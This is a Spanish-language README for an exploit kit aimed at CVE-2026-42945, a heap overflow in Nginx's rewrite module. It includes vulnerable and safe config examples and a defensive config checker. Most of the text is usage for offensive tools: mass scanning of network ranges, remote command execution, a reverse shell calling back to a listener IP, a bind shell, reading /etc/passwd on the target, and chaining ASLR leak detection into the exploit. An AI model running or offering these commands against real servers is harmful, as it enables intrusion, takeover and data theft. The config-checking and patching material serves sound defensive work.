
CVE-2026-42945 Nginx Rift
Un kit completo de prueba de concepto para CVE-2026-42945 (Nginx Rift), una vulnerabilidad crítica de desbordamiento de búfer en el montón en el módulo ngx_http_rewrite_module de Nginx.
| Campo | Detalles |
|---|---|
| ID CVE | CVE-2026-42945 |
| Nombre | Nginx Rift |
| Tipo | Desbordamiento de búfer en el montón |
| Componente | ngx_http_rewrite_module |
| Gravedad | Crítica (CVSS 9.2) |
| Afectado | Nginx 0.6.27 - 1.30.0 |
| Parcheado | Nginx 1.30.1 / 1.31.0 |
La vulnerabilidad existe debido a un cálculo incorrecto del tamaño entre dos pasadas internas al procesar reglas de reescritura. Si una configuración utiliza:
$1, $2, etc.)?Nginx calcula mal el tamaño del búfer requerido durante la primera pasada y escribe más allá del búfer asignado en el montón durante la segunda pasada.
server {
# VULNERABLE: Captura sin nombre ($1) + '?' en el reemplazo
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
server {
# SEGURA: Captura con nombre (?P<path>) reemplaza a $1
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
nginx_rift_poc.py - Herramienta PoC PrincipalHerramienta de escaneo y explotación de vulnerabilidad para un solo objetivo.
Características:
ServerUso:
# Detectar versión y probar vulnerabilidad
python nginx_rift_poc.py -t target.example.com
# Probar con carga personalizada
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# Objetivo HTTPS
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# Generar configuración de prueba vulnerable
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# Generar configuración segura (parcheada)
python nginx_rift_poc.py --gen-safe-config > safe.conf
nginx_rift_scanner.py - Escáner MasivoEscáner por lotes para probar múltiples objetivos simultáneamente.
Características:
Uso:
# Escanear desde archivo de objetivos (formato: host:puerto por línea)
python nginx_rift_scanner.py -f targets.txt -o results.json
# Escanear un solo objetivo
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# Escanear un rango de red
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# Escaneo de alta velocidad
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
Formato del archivo de objetivos:
# Los comentarios comienzan con #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
config_checker.py - Analizador de ConfiguraciónEscanea archivos de configuración locales de Nginx en busca de patrones de reescritura vulnerables.
Características:
nginx.conf y seguir directivas include? en cadenas de reemplazoUso:
# Escanear un solo archivo
python config_checker.py /etc/nginx/nginx.conf
# Escanear directorio recursivamente
python config_checker.py -d /etc/nginx/conf.d/
# Corregir automáticamente patrones vulnerables (crea copia de seguridad .bak)
python config_checker.py --fix /etc/nginx/nginx.conf
# Detectar automáticamente rutas comunes de Nginx
python config_checker.py
enhanced_poc.py - PoC RCE MejoradoHerramienta de explotación avanzada basada en la investigación oficial de depthfirst, que soporta múltiples patrones de reescritura y modos de explotación.
Características:
/api/, /redirect/, /user/, etc.)+, &, =, %)cmd / shell / bind / readngx_pool_cleanup_s falsoUso:
# Detectar automáticamente patrones y versión
python enhanced_poc.py -t target.example.com --detect
# Ejecutar comando (ASLR desactivado)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# Reverse shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# Bind shell
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# Leer archivo remoto
python enhanced_poc.py -t target.example.com --read /etc/passwd
# Base de montón personalizada (para objetivos sin ASLR)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# Usar & como carácter de activación de desbordamiento
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
Detalles del Modo de Explotación:
| Modo | Descripción | Salida |
|---|---|---|
cmd | Ejecutar un comando shell | Salida del comando en el objetivo |
shell | Generar una reverse shell | Se conecta de vuelta a --listen-ip:listen-port |
bind | Generar una bind shell | Escucha en --listen-port en el objetivo |
read | Leer archivo del objetivo | Contenido escrito en /tmp/nginx_rift_read |
Configuración de Direcciones (solo sin ASLR):
--heap-base: Base del montón del objetivo (ej. 0x555555559000)--libc-base: Dirección base de libc (ej. 0x7ffff77ba000)--system-addr: Dirección directa de system() (anula libc-base)aslr_leak_detector.py - Detector de Fugas ASLREscáner completo para detectar fugas de información que pueden eludir la protección ASLR.
Características:
/nginx_status, /actuator/*, etc.)enhanced_poc.py mediante informe JSONUso:
# Escanear un solo objetivo
python aslr_leak_detector.py -t target.example.com
# Escanear con SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# Escanear desde archivo, guardar informe
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# Escanear rango de red
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# Modo de escaneo rápido
python aslr_leak_detector.py -t target.example.com --quick
Integración con el PoC Mejorado:
# Paso 1: Detectar fugas
python aslr_leak_detector.py -t target.example.com -o leak.json